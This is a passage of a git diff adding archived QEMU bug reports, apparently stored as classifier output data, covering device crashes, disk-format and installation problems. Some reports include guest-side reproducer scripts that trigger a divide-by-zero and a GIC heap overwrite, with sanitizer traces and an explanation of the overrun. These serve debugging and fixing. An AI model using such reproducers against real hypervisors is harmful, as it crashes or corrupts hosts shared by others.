virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:14:18:cc,bus=pci.1,addr=0x0,iommu_platform=on,ats=on + +In QMP: +{'execute': 'qmp_capabilities'} +{"execute": "device_del", "arguments": {"id": "net0"} } + +And crash: +../softmmu/memory.c:2818: do_address_space_destroy: Assertion `QTAILQ_EMPTY(&as->listeners)' failed. + +Fixed here: +https://gitlab.com/qemu-project/qemu/-/commit/f6ab64c05f8a6229bf6 + diff --git a/results/classifier/deepseek-1/output/device/1913668 b/results/classifier/deepseek-1/output/device/1913668 new file mode 100644 index 00000000..7790f54c --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1913668 @@ -0,0 +1,41 @@ + +FPE in npcm7xx_pwm_calculate_freq + +Reproducer: +cat << EOF | ./qemu-system-aarch64 -M npcm750-evb \ +-accel qtest -qtest stdio +write 0xf0103008 0x4 0x09000000 +write 0xf010300c 0x4 0xffffffff +EOF + +Trace: +../hw/misc/npcm7xx_pwm.c:94:17: runtime error: division by zero +SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../hw/misc/npcm7xx_pwm.c:94:17 in +AddressSanitizer:DEADLYSIGNAL +================================================================= +==717868==ERROR: AddressSanitizer: FPE on unknown address 0x5597c7190150 (pc 0x5597c7190150 bp 0x7fffcb17c5d0 sp 0x7fffcb17c4e0 T0) +#0 0x5597c7190150 in npcm7xx_pwm_calculate_freq /hw/misc/npcm7xx_pwm.c:94:17 +#1 0x5597c7190150 in npcm7xx_pwm_update_freq /hw/misc/npcm7xx_pwm.c:122:21 +#2 0x5597c718f06d in npcm7xx_pwm_write /hw/misc/npcm7xx_pwm.c +#3 0x5597c8d241fe in memory_region_write_accessor /softmmu/memory.c:491:5 +#4 0x5597c8d23bfb in access_with_adjusted_size /softmmu/memory.c:552:18 +#5 0x5597c8d23467 in memory_region_dispatch_write /softmmu/memory.c +#6 0x5597c90b3ffb in flatview_write_continue /softmmu/physmem.c:2759:23 +#7 0x5597c90a971b in flatview_write /softmmu/physmem.c:2799:14 +#8 0x5597c90a971b in address_space_write /softmmu/physmem.c:2891:18 +#9 0x5597c8d11eee in qtest_process_command /softmmu/qtest.c:539:13 +#10 0x5597c8d0eb97 in qtest_process_inbuf /softmmu/qtest.c:797:9 +#11 0x5597c955f286 in fd_chr_read /chardev/char-fd.c:68:9 +#12 0x7f994c124aae in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51aae) +#13 0x5597c9bba363 in glib_pollfds_poll /util/main-loop.c:232:9 +#14 0x5597c9bba363 in os_host_main_loop_wait /util/main-loop.c:255:5 +#15 0x5597c9bba363 in main_loop_wait /util/main-loop.c:531:11 +#16 0x5597c8c75599 in qemu_main_loop /softmmu/runstate.c:721:9 +#17 0x5597c6f021fd in main /softmmu/main.c:50:5 +#18 0x7f994bbc9cc9 in __libc_start_main csu/../csu/libc-start.c:308:16 +#19 0x5597c6e55bc9 in _start (/home/alxndr/Development/qemu/build/qemu-system-aarch64+0x3350bc9) + +This no longer reproduces for me. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1913917 b/results/classifier/deepseek-1/output/device/1913917 new file mode 100644 index 00000000..6e3b1fa7 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1913917 @@ -0,0 +1,44 @@ + +aarch64-virt: heap-use-after-free in gic_dist_writeb + +Reproducer: +cat << EOF | ./qemu-system-aarch64 \ +-machine virt,accel=qtest -qtest stdio +writel 0x8000f00 0x5affaf +write 0x8000eff 0x1 0x0 +EOF + +Stacktrace: +../hw/intc/arm_gic.c:1419:17: runtime error: index 3068 out of bounds for type 'gic_irq_state [1020]' +SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior ../hw/intc/arm_gic.c:1419:17 in +================================================================= +==641550==ERROR: AddressSanitizer: heap-use-after-free on address 0x629000023a85 at pc 0x55b5dfb0fbf8 bp 0x7fff95cb5870 sp 0x7fff95cb5868 +WRITE of size 1 at 0x629000023a85 thread T0 + #0 0x55b5dfb0fbf7 in gic_dist_writeb /home/alxndr/Development/qemu/build/../hw/intc/arm_gic.c:1419:17 + #1 0x55b5dfb061e2 in gic_dist_write /home/alxndr/Development/qemu/build/../hw/intc/arm_gic.c + #2 0x55b5e0809ef4 in memory_region_write_with_attrs_accessor /home/alxndr/Development/qemu/build/../softmmu/memory.c:511:12 + #3 0x55b5e0808bfb in access_with_adjusted_size /home/alxndr/Development/qemu/build/../softmmu/memory.c:552:18 + #4 0x55b5e0808467 in memory_region_dispatch_write /home/alxndr/Development/qemu/build/../softmmu/memory.c + #5 0x55b5e0b98ffb in flatview_write_continue /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2759:23 + #6 0x55b5e0b8e71b in flatview_write /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2799:14 + #7 0x55b5e0b8e71b in address_space_write /home/alxndr/Development/qemu/build/../softmmu/physmem.c:2891:18 + #8 0x55b5e07fad35 in qtest_process_command /home/alxndr/Development/qemu/build/../softmmu/qtest.c:654:9 + #9 0x55b5e07f3b97 in qtest_process_inbuf /home/alxndr/Development/qemu/build/../softmmu/qtest.c:797:9 + #10 0x55b5e1044286 in fd_chr_read /home/alxndr/Development/qemu/build/../chardev/char-fd.c:68:9 + #11 0x7fa997b30aae in g_main_context_dispatch (/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x51aae) + #12 0x55b5e169f363 in glib_pollfds_poll /home/alxndr/Development/qemu/build/../util/main-loop.c:232:9 + #13 0x55b5e169f363 in os_host_main_loop_wait /home/alxndr/Development/qemu/build/../util/main-loop.c:255:5 + #14 0x55b5e169f363 in main_loop_wait /home/alxndr/Development/qemu/build/../util/main-loop.c:531:11 + #15 0x55b5e075a599 in qemu_main_loop /home/alxndr/Development/qemu/build/../softmmu/runstate.c:721:9 + #16 0x55b5de9e71fd in main /home/alxndr/Development/qemu/build/../softmmu/main.c:50:5 + #17 0x7fa9975d5cc9 in __libc_start_main csu/../csu/libc-start.c:308:16 + #18 0x55b5de93abc9 in _start (/home/alxndr/Development/qemu/build/qemu-system-aarch64+0x3350bc9) + +Fix for this 13+ years old issue: +https://lists.gnu.org/archive/html/qemu-devel/2021-01/msg07969.html + +The actual overrun here is not the one the backtrace describes. The first "writel 0x8000f00 0x5affaf" writes a value to GICD_SGIR which overruns the sgi_pending array in the GICState structure. In particular, it overwrites the s->num_irq field, which is what is guarding the array access to gic_irq_state[] that the "write 0x8000eff 0x1 0x0" exercises. With the first overrun fixed, the check for "if (irq >= s->num_irq)" functions correctly. + + +Commited as edfe2eb4360cde4ed5d95bda7777edcb3510f76a. + diff --git a/results/classifier/deepseek-1/output/device/1924738 b/results/classifier/deepseek-1/output/device/1924738 new file mode 100644 index 00000000..045b526b --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1924738 @@ -0,0 +1,75 @@ + +Failed to restore domain - error load load virtio-balloon:virtio + +I noticed a domain restore error on my virtual machines. +I can't reproduce the error on a test virtual machine. + +sudo virsh save linux2020 /var/lib/libvirt/qemu/save/linux2020.save +Domain 'linux2020' saved to /var/lib/libvirt/qemu/save/linux2020.save + +sudo virsh restore /var/lib/libvirt/qemu/save/linux2020.save +error: Failed to restore domain from /var/lib/libvirt/qemu/save/linux2020.save +error: внутренняя ошибка: QEMU неожиданно завершил работу монитора: qemu-system-x86_64: -chardev socket,id=charchannel0,fd=52,server,nowait: warning: short-form boolean option 'server' deprecated +Please use server=on instead +qemu-system-x86_64: -chardev socket,id=charchannel0,fd=52,server,nowait: warning: short-form boolean option 'nowait' deprecated +Please use wait=off instead +qemu-system-x86_64: -spice port=5900,addr=0.0.0.0,disable-ticketing,image-compression=off,seamless-migration=on: warning: short-form boolean option 'disable-ticketing' deprecated +Please use disable-ticketing=on instead +2021-04-16T09:47:15.037700Z qemu-system-x86_64: VQ 0 size 0x80 < last_avail_idx 0x0 - used_idx 0xcccc +2021-04-16T09:47:15.037737Z qemu-system-x86_64: Failed to load virtio-balloon:virtio +2021-04-16T09:47:15.037744Z qemu-system-x86_64: error while loading state for instance 0x0 of device '0000:00:02.0/virtio-balloon' +2021-04-16T09:47:15.037849Z qemu-system-x86_64: load of migration failed: Operation not permitted + +If in the machine configuration replace +<type arch="x86_64" machine="pc-i440fx-5.1">hvm</type> +to +<type arch="x86_64" machine="pc-i440fx-5.0">hvm</type> +the virtual machine is recovering normally + + + +Can you just clarify: + a) Which version of qemu are you running? + b) Was the save done with the pc-i440fx-5.1 as well as the load? + c) What guest are you running? + +a) Checked for versions 5.2.0 and 6.0.0rc. +b) Save and restore with pc-i440fx-5.1. +c) Used OS Linux NixOS Unstable. +If clean install NixOS system - the error is not reproduced. It was not possible to track what affects the restore domain. + +The QEMU project is currently moving its bug tracking to another system. +For this we need to know how to transfer the bug to the new system if +(if still necessary). Thus we're setting the status to "Incomplete" now. + +In the unlikely case that the bug has already been fixed in the final +6.0 release version of QEMU, then please close this ticket as "Fix released". + +If it is not fixed yet and you think that this bug report here should be +moved to the new system, then you have two options: + +1) If you already have an account on gitlab.com, please open a new ticket +for this problem in our new tracker here: + + https://gitlab.com/qemu-project/qemu/-/issues + +and then close this ticket here on Launchpad (or let it expire auto- +matically after 60 days). Please mention the URL of this bug ticket on +Launchpad in the new ticket on GitLab. + +2) If you don't have an account on gitlab.com and don't intend to get +one, but still would like to keep this ticket opened, then please switch +the state back to "New" or "Confirmed" within the next 60 days (other- +wise it will get closed as "Expired"). We will then eventually migrate +the ticket automatically to the new system (but you won't be the reporter +of the bug in the new system and thus you won't get notified on changes +anymore). + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + +Ticket has been re-opened here : +https://gitlab.com/qemu-project/qemu/-/issues/485 + diff --git a/results/classifier/deepseek-1/output/device/612452 b/results/classifier/deepseek-1/output/device/612452 new file mode 100644 index 00000000..5979b8df --- /dev/null +++ b/results/classifier/deepseek-1/output/device/612452 @@ -0,0 +1,128 @@ + +Problems with the number of serial ports for more than two + +qemu --version +QEMU emulator version 0.13.50, Copyright (c) 2003-2008 Fabrice Bellard + +Command line: + +qemu -serial null -serial null -serial file:test1 hd.img + +Error: + +isa irq 4 already assigned + +echo $? +1 + +This bug seems to be solved and closed here: http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=574051 + +Is it solved in 0.12.5 or 0.13.0rc1 yet? + + +> This bug seems to be solved and closed here: http://bugs.debian.org/cgi- +> bin/bugreport.cgi?bug=574051 +> +> Is it solved in 0.12.5 or 0.13.0rc1 yet? +> +> ** Bug watch added: Debian Bug tracker #574051 +> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=574051 +> +#cd qemu-snapshot +#date +Fri Sep 17 09:29:01 MSD 2010 +#cat .git/config +... +[remote "origin"] + url = git://git.savannah.nongnu.org/qemu.git + fetch = +refs/heads/*:refs/remotes/origin/* +[branch "master"] + remote = origin + merge = refs/heads/master + +#git pull +... +#./configure --disable-xen --audio-drv-list=alsa,sdl +#make && make install +... +install -m 755 qemu "/usr/local/bin" +... +#ls -l /usr/local/bin/qemu +#-rwxr-xr-x 1 root root 1960900 2010-09-17 09:45 /usr/local/bin/qemu +#/usr/local/bin/qemu --version +QEMU emulator version 0.13.50, Copyright (c) 2003-2008 Fabrice Bellard +#cd /path/to/hd/image +#/usr/local/bin/qemu -serial file:file1 -serial file:file2 -serial none +-serial none hd.img + +In VM + +#echo test1 >/dev/ttyS0 +#echo test2 >/dev/ttyS1 +#echo test3 >/dev/ttyS2 +... error... +#echo test4 >/dev/ttyS3 +... error... + +It is right + +#halt + + +In host + +#ls -l file* +-rw-r--r-- 1 root root 7 2010-09-17 10:13 file1 +-rw-r--r-- 1 root root 7 2010-09-17 10:12 file2 + + +Excellent. Try next. + +#rm -f file* +#/usr/local/bin/qemu -serial file:file1 -serial file:file2 -serial +file:file3 -serial none hd.img +isa irq 4 already assigned + +Misfire. Try next. + +#/usr/local/bin/qemu -serial none -serial none -serial file:file3 +-serial file:file4 hd.img + +In VM + +#echo test1 >/dev/ttyS0 +#echo test2 >/dev/ttyS1 +#echo test3 >/dev/ttyS2 +... error... +#echo test4 >/dev/ttyS3 +... error... + +OOPS! Surprise. + +#halt + + +In host + +#ls -l file* +-rw-r--r-- 1 root root 7 2010-09-17 10:40 file3 +-rw-r--r-- 1 root root 7 2010-09-17 10:40 file4 + +In this case expected. + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/786208 b/results/classifier/deepseek-1/output/device/786208 new file mode 100644 index 00000000..5dbc9f37 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/786208 @@ -0,0 +1,16 @@ + +Missing checks for non-existent device in ide_exec_cmd + +Several calls in the ide_exec_cmd handler are missing checks for (!s->bs) or similar, resulting in NULL pointer dereferences, divide-by-zero, or possibly other badness if the guest performs operations on a non-existent IDE master. + +For example, the WIN_READ_NATIVE_MAX command does a 'ide_set_sector(s, s->nb_sectors - 1);', which does 'cyl = sector_num / (s->heads * s->sectors);', which will fail with a divide-by-zero if heads = sectors = 0. + +And WIN_MULTREAD also does not check for s->bs, but does a 'ide_sector_read(s);', which will do 'bdrv_read(s->bs, sector_num, s->io_buffer, n);' on a NULL s->bs, leading to a segfault. + +I do not *believe* that a malicious guest can do anything more than cause a crash with these bugs. + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/786211 b/results/classifier/deepseek-1/output/device/786211 new file mode 100644 index 00000000..e505f70e --- /dev/null +++ b/results/classifier/deepseek-1/output/device/786211 @@ -0,0 +1,9 @@ + +Missing checks for valid, writable, firmware in fw_cfg_write + +The `fw_cfg_write` function in the firmware emulation is missing checks to ensure that the firmware being written is (a) a valid index, and (b) writable. This can lead to a segmentation fault and potentially (in the case of writing to FW_CFG_INVALID), memory corruption, although the attacker has fairly limited control over whether and what corruption is possible. + + + +fw_cfg_write() support has been removed since QEMU 2.4, so I think we can treat this as fixed now: http://git.qemu.org/?p=qemu.git;a=commitdiff;h=023e3148567ac898c725813 + diff --git a/results/classifier/deepseek-1/output/device/816860 b/results/classifier/deepseek-1/output/device/816860 new file mode 100644 index 00000000..73c4a5a5 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/816860 @@ -0,0 +1,32 @@ + +Guest machine freezes when NFS mount goes offline + +I have a virtual KVM machine that has 2 CDROM units with ISOs mounted from a NFS mount point. When NFS server goes offline the virtual machine blocks completely instead of throwing read errors for the CDROM device. + +Host: Proxmox VE 1.8-11 (Debian GNU/Linux 5.0) +KVM commandline version: QEMU emulator version 0.14.1 (qemu-kvm-devel) +Guest: Windows 7 professional SP 1 + +On Wed, Jul 27, 2011 at 10:09 AM, Igor Blanco <email address hidden> wrote: +> Public bug reported: +> +> I have a virtual KVM machine that has 2 CDROM units with ISOs mounted +> from a NFS mount point. When NFS server goes offline the virtual machine +> blocks completely instead of throwing read errors for the CDROM device. +> +> Host: Proxmox VE 1.8-11 (Debian GNU/Linux 5.0) +> KVM commandline version: QEMU emulator version 0.14.1 (qemu-kvm-devel) +> Guest: Windows 7 professional SP 1 + +Thanks for reporting this. There are instances where QEMU performs +blocking operations in a thread that will prevent the guest from +running. I suspect you are hitting this case and refactoring work +needs to be done to ensure that QEMU threads never block. + +Stefan + + +Can you still reproduce this problem with the latest version of QEMU (currently version 2.9.0)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/877498 b/results/classifier/deepseek-1/output/device/877498 new file mode 100644 index 00000000..db4d773c --- /dev/null +++ b/results/classifier/deepseek-1/output/device/877498 @@ -0,0 +1,63 @@ + +qemu does not pass sector size from physical devices to virtual devices + +When passing a physical disk (i.e. a multipathed fcal volume in my case) with a 4k sector size as raw image to qemu (-drive file=/dev/mapper/hartebeest-sys,if=none,id=drive-virtio-disk0,boot=on,format=raw), the resulting virtual device has a sector size of 512b, rendering the partition table unusable! + +QEMU 0.12 is pretty much outdated ... can you still reproduce this issue with the latest version of QEMU, or can we close this bug nowadays? + +Hi, + +I can’t verify it for the logical block size right away, but +this bug still present for the physical block size in qemu-kvm 1:2.1+dfsg-1. + +I will try to verify this bug with testing soon + +> On 20. Mar 2017, at 23:57, Thomas Huth <email address hidden> wrote: +> +> QEMU 0.12 is pretty much outdated ... can you still reproduce this issue +> with the latest version of QEMU, or can we close this bug nowadays? +> +> ** Changed in: qemu +> Status: New => Incomplete +> +> -- +> You received this bug notification because you are subscribed to the bug +> report. +> https://bugs.launchpad.net/bugs/877498 +> +> Title: +> qemu does not pass sector size from physical devices to virtual +> devices +> +> Status in QEMU: +> Incomplete +> +> Bug description: +> When passing a physical disk (i.e. a multipathed fcal volume in my +> case) with a 4k sector size as raw image to qemu (-drive +> file=/dev/mapper/hartebeest-sys,if=none,id=drive-virtio- +> disk0,boot=on,format=raw), the resulting virtual device has a sector +> size of 512b, rendering the partition table unusable. +> +> Versions used: QEMU 0.12.5 (qemu-kvm-0.12.5) from debian unstable +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/877498/+subscriptions +> + +AVE! + Philipp S. Tiesel / phils… +-- + {phils}--->---(<email address hidden>)--->---(http://phils.in-panik.de)----, + wenn w eine aube ist dn man au dran dre en | + o Schr an muss hc h (Kurt Schwitters) | +:wq! <----(phone: +49-179-6737439)---<---(jabber: <email address hidden>)----' + + + +QEMU 2.1 is also not supported anymore. Please test with the latest upstream QEMU version (2.8 ... or the latest 2.9 release candidate) - or otherwise report the bug in the bug tracker of your distribution instead. + +[Expired for QEMU because there has been no activity for 60 days.] + +Recent QEMU is able to do read-modify-write operations when using 512 byte logical sectors in the VM and 4K logical sectors in the host. + diff --git a/results/classifier/deepseek-1/output/device/893367 b/results/classifier/deepseek-1/output/device/893367 new file mode 100644 index 00000000..740398f9 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/893367 @@ -0,0 +1,25 @@ + +HPET supports only one IRQ + +The emulated HPET only supports triggering IRQ 2. Since MSIs are by default disabled, this severely limits the usefulness of the HPET as only one timer block can effectively be used (otherwise they would share IRQ 2). Ideally, the HPET should support as much timer blocks as CPUs and each timer block can be driven by a different IRQ. + +TIMER: HPET at fed00000 -> 0xbf500000. +TIMER: HPET vendor 8086 revision 01: LEGACY 64BIT +TIMER: HPET: cap 8086a201 config 0 period 10000000 +TIMER: HPET Timer[0]: config 30 int 4 +TIMER: HPET Timer[1]: config 30 int 4 +TIMER: HPET Timer[2]: config 30 int 4 + +The offending code seems to be: + + /* advertise availability of ioapic inti2 */ + timer->config |= 0x00000004ULL << 32; + +in hw/hpet.c hpet_reset(). + +I assume this has been fixed by this commit here: +https://git.qemu.org/?p=qemu.git;a=commitdiff;h=7a10ef51c2397ac4323b +Or is there still something left to do here? + +No. Looks good to me. + diff --git a/results/classifier/deepseek-1/output/device/907063 b/results/classifier/deepseek-1/output/device/907063 new file mode 100644 index 00000000..bba4f249 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/907063 @@ -0,0 +1,60 @@ + +Error reading VMDK4 with footer instead of header + +VMDK4 files can have a footer in the last block, which is the same datastructure as the header but must be used instead if present. In this case, the gd_offset in the usual header at the beginning of the file is the special flag -1 (VMDK 1.1 spec, page 17, "GD_AT_END +"). qemu-img doesn't know about this flag so it goes on to try to read extents with a bogus l1_table from the wrong location in the file. + +I have regression-tested this with various OVAs exported from VSphere/ESXi 3 and 4. Current master and all previous QEMU versions were unable to import any compressed VMDKs with a footer. It now works on all the ones I have. + +bb45ded93115ad4303471c9a492579dc36716547 changed the order of gd_offset and rgd_offset in the VMDK4Header struct. Page 8 of the VMDK 1.1 spec from VMWare shows the structure as rgd_ then gd_, while QEMU now has gd_ *before* rgd_offset. I was only able to get VMDK conversion to work by switching the order back to that specified by VMWare and previously used by QEMU. I don't know what VMDK this commit is referring to, so I can't test to see if I've broken it. :( + +I will submit this patch to the mailing list if I get a chance, but I'm also uploading it here so I don't lose it. + + + +On Tue, Dec 20, 2011 at 8:53 PM, bbgordonn <email address hidden> wrote: +> Public bug reported: +> +> VMDK4 files can have a footer in the last block, which is the same datastructure as the header but must be used instead if present. In this case, the gd_offset in the usual header at the beginning of the file is the special flag -1 (VMDK 1.1 spec, page 17, "GD_AT_END +> "). qemu-img doesn't know about this flag so it goes on to try to read extents with a bogus l1_table from the wrong location in the file. +> +> I have regression-tested this with various OVAs exported from +> VSphere/ESXi 3 and 4. Current master and all previous QEMU versions were +> unable to import any compressed VMDKs with a footer. It now works on all +> the ones I have. +> +> bb45ded93115ad4303471c9a492579dc36716547 changed the order of gd_offset +> and rgd_offset in the VMDK4Header struct. Page 8 of the VMDK 1.1 spec +> from VMWare shows the structure as rgd_ then gd_, while QEMU now has gd_ +> *before* rgd_offset. I was only able to get VMDK conversion to work by +> switching the order back to that specified by VMWare and previously used +> by QEMU. I don't know what VMDK this commit is referring to, so I can't +> test to see if I've broken it. :( +> +> I will submit this patch to the mailing list if I get a chance, but I'm +> also uploading it here so I don't lose it. +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/907063 + +Thanks for reporting this. I have CCed Fam who worked on VMDK this summer. + +Please submit patches to the mailing list according to the guidelines here: + +http://wiki.qemu.org/Contribute/SubmitAPatch + +Stefan + + +Looks like something similar has been commited here: +http://git.qemu.org/?p=qemu.git;a=commitdiff;h=65bd155c7356d448ffee7 +So is this problem fixed nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/912983 b/results/classifier/deepseek-1/output/device/912983 new file mode 100644 index 00000000..c22c83e3 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/912983 @@ -0,0 +1,50 @@ + +Unable to install OS/2 Warp v3 past disk 2 + +To whom it may concern, + +As you may (or may not) be aware, QEMU is currently unable to readily install OS/2 Warp v3 (OS2W3) when asked for Installation Diskette 2 (http://www.claunia.com/qemu/objectManager.php?sClass=version&iId=132&iTestingId=138). + +QEMU 0.8.2 is the last known (to me) release to successfully install OS2W3. QEMU version 1.0 and the latest development version (as of 2012-01-05) have been verified not to work. + +A 'git bisect' reveals the issue was introduced during a migration to new removable media handling prior to the QEMU 0.9.0 release: + + There are only 'skip'ped commits left to test. + The first bad commit could be any of: + 66c6ef7678939f2119eb649074babf5d5b2666f6 + ea185bbda732dae6b6a5a44699f90c83e21f1494 + 19cb37389f4641d48803f0c5d72708749cbcf318 + We cannot bisect more! + +For testing, the 'qcow' hard drive format was chosen due to QEMU 0.8.2 not having 'qcow2': + + $ qemu -M isapc -m 8 -localtime -soundhw sb16 -hda os2.qcow -fda install.img -boot a + +Of note, the ISA-only PC (isapc) was needed for QEMU 0.8.2 to 0.9.0. Otherwise QEMU hangs on start-up. Later versions of QEMU, segmentation fault when attempting to use '-M isapc' though boot correctly when using the default PC machine. + + +The currently preferred method to install OS2W3 is to use another application (such as VirtualBox or VMWare), using a QEMU compatible disk image format. Once installed, QEMU can then run OS2W3; which it does phenomenally well. + +However, I've identified a way to install OS2W3 exclusively with QEMU, which may also shed additional light on the issue. + +1. Using a relatively new QEMU (I'm on 0.11.1), install OS2W3 as you normally would on to a 'qcow2' hard drive. +2. When Installation Diskette 2 is reached, save a VM snapshot. +3. Quit QEMU and re-run, loading the VM state *with* the Installation Diskette 2 image in the floppy drive. + $ qemu -m 8 -localtime -soundhw sb16 -hda os2.qcow2 -fda disk2.img -loadvm install +The installation process will then continue as normal. + +This same method can be used once OS2W3 continues installing from it's GUI. Installation Diskette 7 experiences the same issue of not being recognised when inserted. + +Of note, as an unrelated issue, I was unable to save VM snapshots in QEMU 1.0 or later. + + +Thank you for a fantastic emulator. + + +cheers, +multitude + +Triaging old bug tickets ... can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/932490 b/results/classifier/deepseek-1/output/device/932490 new file mode 100644 index 00000000..ff3bdb02 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/932490 @@ -0,0 +1,26 @@ + +Qemu fails on -fda /dev/fd0 when no medium is present + +# qemu-system-x86_64 --version +QEMU emulator version 1.0 (qemu-kvm-1.0), Copyright (c) 2003-2008 Fabrice Bellard + +# qemu-system-x86_64 -fda /dev/fd0 +qemu-system-x86_64: -fda /dev/fd0: could not open disk image /dev/fd0: No such device or address + +Starting with a medium (floppy disk) inserted, then removing or changing the medium works fine. + +Is this still an issue with the latest version of QEMU (currently v2.10), or could we close this ticket nowadays? + +Sorry, it has been more than five years and I don't have a system with a floppy disk to test anymore. + +Best, +Herbert + +Likely the bug as reported still exists, because this attempts to use the disk image, not the floppy drive as a whole. If there's no floppy inserted, there's no disk image to use. Later versions of QEMU even explicitly remove support for pass-through floppy disks. + +Basically, what you want to do is to create a normal emulated floppy drive in QEMU, and then use the block device add commands to use the /dev/fd0 as a media which can then be virtually inserted into the virtual floppy device. + +QEMU does not have support for doing pass-through of the floppy controller / drive itself presently. (Uh, unless you have a PCI floppy controller or something, but... you probably don't!) + +We can close this bug as WONTFIX, essentially. + diff --git a/results/classifier/deepseek-1/output/devices./1833053 b/results/classifier/deepseek-1/output/devices./1833053 new file mode 100644 index 00000000..4b9d6f52 --- /dev/null +++ b/results/classifier/deepseek-1/output/devices./1833053 @@ -0,0 +1,54 @@ + +qemu guest crashes on spice client USB redirected device removal + +Hello, + +I am experiencing guest crashes, which cannot be reproduced at all times, but are pretty frequent (4 out of 5 tries it would crash). The guest crashes when a previously attached USB redirected device through SPICE has been removed by the client. + +Steps to reproduce: +1.) Start windows 10 guest with display driver Spice +2.) Connect to the console with remote-viewer spice://IP:PORT or via virt-viewer (tunnelled through SSH) +3.) Attach a client USB device, for example storage device, iPhone or Android phone +4.) Observe the guest OS detects it and sets it up +5.) Go back to 'USB device selection' and untick the USB device +6.) Observe the guest VM crashed and the below assertion was printed in the qemu log for this virtual machine: + +qemu-system-x86_64: /var/tmp/portage/app-emulation/qemu-4.0.0-r3/work/qemu-4.0.0/hw/usb/core.c:720: usb_ep_get: Assertion `dev != NULL' failed. +2019-06-17 09:25:09.160+0000: shutting down, reason=crashed + + +Versions of related packages on the host: +app-emulation/qemu-4.0.0-r3 +app-emulation/spice-0.14.0-r2:0 +app-emulation/spice-protocol-0.12.14:0 +net-misc/spice-gtk-0.35:0 +Kernel: 5.1.7-gentoo on Intel x86_64 CPU + +Version of the spice-tools on the guest: +virtio-win 0.1-126 +QXL 0.1-21 +mingw-vdagent-win 0.8.0 + +QEMU command line (generated by libvirt): + +/usr/bin/qemu-system-x86_64 -name guest=W10VM,debug-threads=on -S -object secret,id=masterKey0,format=raw,file=/var/lib/libvirt/qemu/domain-41-W10VM/master-key.aes -machine pc-i440fx-2.12,accel=kvm,usb=off,vmport=off,dump-guest-core=off -cpu qemu64,hv_time,hv_relaxed,hv_vapic,hv_spinlocks=0x1fff,hv_synic,hv_stimer -m 4500 -realtime mlock=off -smp 2,maxcpus=4,sockets=4,cores=1,threads=1 -uuid b39afae2-5085-4659-891c-b3c65e65af2e -no-user-config -nodefaults -chardev socket,id=charmonitor,fd=26,server,nowait -mon chardev=charmonitor,id=monitor,mode=control -rtc base=localtime,driftfix=slew -no-hpet -global kvm-pit.lost_tick_policy=delay -no-shutdown -global PIIX4_PM.disable_s3=1 -global PIIX4_PM.disable_s4=1 -boot menu=off,strict=on -device ich9-usb-ehci1,id=usb,bus=pci.0,addr=0x5.0x7 -device ich9-usb-uhci1,masterbus=usb.0,firstport=0,bus=pci.0,multifunction=on,addr=0x5 -device ich9-usb-uhci2,masterbus=usb.0,firstport=2,bus=pci.0,addr=0x5.0x1 -device ich9-usb-uhci3,masterbus=usb.0,firstport=4,bus=pci.0,addr=0x5.0x2 -device virtio-scsi-pci,id=scsi0,bus=pci.0,addr=0x8 -device virtio-serial-pci,id=virtio-serial0,bus=pci.0,addr=0x6 -drive file=/libvirt/images/W10VM.qcow2,format=qcow2,if=none,id=drive-scsi0-0-0-1,cache=unsafe,discard=unmap,detect-zeroes=unmap -device scsi-hd,bus=scsi0.0,channel=0,scsi-id=0,lun=1,device_id=drive-scsi0-0-0-1,drive=drive-scsi0-0-0-1,id=scsi0-0-0-1,bootindex=1,write-cache=on -netdev tap,fd=28,id=hostnet0,vhost=on,vhostfd=29 -device virtio-net-pci,netdev=hostnet0,id=net0,mac=52:54:00:44:f6:21,bus=pci.0,addr=0x3 -chardev spicevmc,id=charchannel0,name=vdagent -device virtserialport,bus=virtio-serial0.0,nr=1,chardev=charchannel0,id=channel0,name=com.redhat.spice.0 -chardev socket,id=charchannel1,fd=30,server,nowait -device virtserialport,bus=virtio-serial0.0,nr=3,chardev=charchannel1,id=channel1,name=org.qemu.guest_agent.0 -chardev spiceport,id=charchannel2,name=org.spice-space.webdav.0 -device virtserialport,bus=virtio-serial0.0,nr=2,chardev=charchannel2,id=channel2,name=org.spice-space.webdav.0 -spice 